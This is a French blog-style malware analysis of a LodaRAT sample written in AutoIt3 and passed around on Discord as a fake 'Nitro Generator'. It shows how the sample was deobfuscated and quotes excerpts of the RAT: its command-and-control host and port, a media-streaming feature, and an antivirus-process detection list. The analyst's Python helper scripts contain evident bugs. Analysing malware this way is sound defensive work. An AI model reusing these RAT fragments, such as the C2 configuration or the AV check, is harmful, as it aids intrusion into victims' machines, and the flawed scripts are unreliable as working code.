LodaRAT ItroublveTSC

LodaRAT, un RAT en AutoIt3

1. Trouver un sample

Je n'ai pas eu à chercher vu qu'une personne sur discord m'a invité sur un serveur discord qui propose des "Tools de H4x0r", sauf qu'il s'agit de virus (j'ai d'ailleurs analysé plusieurs samples de ce serveur sur Youtube)

2. Identifier le type de fichier

Pour ça j'utilise la commande file sous linux :

On a donc un executable pour windows, mais sans précision supplémentaire, on donc exclure la possibilité que ce soit un executable dévelopé en .NET/C# car file nous l'aurais précisé

On regarde ensuite si il s'agit d'un exécutable généré depuis un fichier python (avec pyinstaller, py2exe, etc) pour ça on utilise la commande strings pour trouver les chaines de caractère qui nous informe sur le contenu de ce fichier

si on regarde les 5 dernière lignes (tail -n 5) on ne trouve pas les chaines de caractères typiques des fichiers python packés en .exe , voila par exemple ce que nous sort ces commandes sur un fichier python packé

Je teste ensuite pour si il s'aggit d'un fichier codé en AutoIt3 puis converti en exe avec l'outil AutoIt-Ripper, et là une chose inattendue arrive, il arrive à l'extraire

Je n'avais encore jamais trouvé ce type de fichier

Voila le contenu du dossier extrait

On va donc pouvoir lire librement le code source de ce script. Ce fichier se faisant passer pour un "Nitro Generator" on retrouve dans le fichier main.py le code source d'un fichier permettant de "Checker des codes Nitro" je garantie pas que ça marche mais bref, passons

Dans le fichier script.au3 on retourve une fonction nommée N6MN7NC6AL8U qui est appelée plusieures fois (1296 fois) comme on peut le voir sur ce screen (oui oui, chaque partie bleu sur la droite correspond à une utilisation de cette fonction)

Voila le contenu de cette fonction, une fois toutes les variables renommées

            
Func N6MN7NC6AL8U($input_string, $key)
    $input_string = BinaryToString("0x" & $input_string)
    Local $final_string = ""
    Local $temp_string = ""
    For $I = 1 To StringLen($input_string)
        $char_at_I = StringMid($input_string, $I, 1)
        If StringIsInt($char_at_I) Then
            $temp_string &= $char_at_I
        Else
            $final_string &= Chr($temp_string - $key)
            $temp_string = ""
        EndIf
    Next
    Return $final_string
EndFunc
            
        

Cette fonction va donc convertir l'hexadecimal en une chaine de caractère (pourquoi BinaryToString et pas HexToString ?) et va ensuite parcourir cette chaine de charactère et la découper tout les charactèreq qui ne sont pas des chiffres puis prendre chaque morçeau, lui soustraire la clée avant de convertir cette nouvelle valeur en un caractère selon la table ASCII, voila un équivalent de cette fonction en python

            
from binascii import unhexlify
def N6MN7NC6AL8U(input_string,key):
    final_string = ""
    temp_string = ""
    input_string = unhexlify(input_string).decode()
    for i in range(len(input_string)):
        char_at_I = input_string[i]
        if chr(char_at_I).isnumeric():
            temp_string += char_at_I
        else:
            final_string += chr(int(temp_string)-key)
            temp_string = ""
    return final_string
            
        

J'ai fait un court programme en Python afin de remplacer tout ces appels à cette fonction par son résultat

            
from binascii import unhexlify
def N6MN7NC6AL8U(input_string,key):
    final_string = ""
    temp_string = ""
    input_string = unhexlify(input_string).decode()
    for i in range(len(input_string)):
        char_at_I = input_string[i]
        if chr(char_at_I).isnumeric():
            temp_string += char_at_I
        else:
            final_string += chr(int(temp_string)-key)
            temp_string = ""
    return final_string

def stage1():
    file = open("script.au3").read()
    out = file
    for f in re.findall(r"(N6MN7NC6AL8U \( \"([0-9A-F]*)\" , \$I7ZB3OD0L \))",file):
        out = out.replace(f[0],'"' + stage1(f[1],87722092) + '"') # 87722092 => clée dans script.au3
    return out
open("script_cleaned.au3","w").write(stage1())
            
        

le code fait tout de même 2600 lignes donc je ne vais pas tout analyser bien sur, mais de ce que j'ai vu, il s'aggit dirrectement du RAT sans aucun dropper/stager, voici des extraits intérressant du RAT

Le serveur auquel se connecter (que j'ai report à portmap.io, ils ont stoppé le tunnel en moins de 2h, bravo à eux)

            
Global $Z8SZ0MD6F = "Masko-38080.portmap.host"
Global $N2FI9CS5X = "38080"
            
        

Un système pour pouvoir diffuser le Coran sur le PC de la victime

            
Global $G2XM8PG9T7VV8PT0N = "mms://live.mp3quran.net:9976/"
...
Global $S2NH7FD8HR0H4YN0XC8RJ3Z = "wmplayer.exe"
            
        

Le système de détection des AV, d'une complexité incroyable

            
Global $P3XJ1TY3FF5E
If ProcessExists ( "ekrn.exe" ) Then
    $P3XJ1TY3FF5E = "NOD32"
ElseIf ProcessExists ( "AvastUI.exe" ) Then
    $P3XJ1TY3FF5E = "Avast"
ElseIf ProcessExists ( "avgcc.exe" ) Then
    $P3XJ1TY3FF5E = "AVG"
                ...
ElseIf ProcessExists ( "sbamtray.exe" ) Then
    $P3XJ1TY3FF5E = "VIPRE"
ElseIf ProcessExists ( "vrmonsvc.exe" ) Then
    $P3XJ1TY3FF5E = "ViRobot"
ElseIf ProcessExists ( "dllhook.exe" ) Then
    $P3XJ1TY3FF5E = "VBA32"
ElseIf ProcessExists ( "vbcalrt.exe" ) Then
    $P3XJ1TY3FF5E = "VirusBuster"
Else
    $P3XJ1TY3FF5E = "No"
EndIf
            
        

Je n'ai par contre auqu'une information sur quel RAT il s'aggit

Ensuite je le lance dans une machine virtuelle et je scan le traffic avec wireshark, et une fois lancé, dans wireshark je cherche la requète dns qui est faite afin d'obtenir l'IP du serveur (de portmap et non de l'attaquant) avec cette recherche : dns

Maintenant que l’on sait que l’ip est 193.161.193.99 je recherche le traffic TCP en direction de cette ip et venant de cette ip avec cette recherche ip.dst_host == 193.161.193.99 or ip.src_host == 193.191.193.99

Puis en prenant un packet au hasard et en faisant Click Droit => Suivre => Flux TCP wireshark nous retourne l’entièreté de la communication entre le serveur et le PC (en rouge : PC > Serveur et en bleu Serveur > PC)

J’ai ensuite fait une chose que peu de personnes savent faire quand ils cherchent une information : copier coller sur google les informations que l’on a, et en tapant ZeXro0 je tombe sur cet article de Talos avec écrit en énorme Loda RAT et de ce que je vois, mon sample qui vient d’être généré est une version plus anciennes de LodaRAT que celui analysé dans l’article qui remonte à 2019

Vous pouvez retrouver le sample original, ainsi que le code extrait et mon mini script python au format ZIP, TAR.GZ, 7Z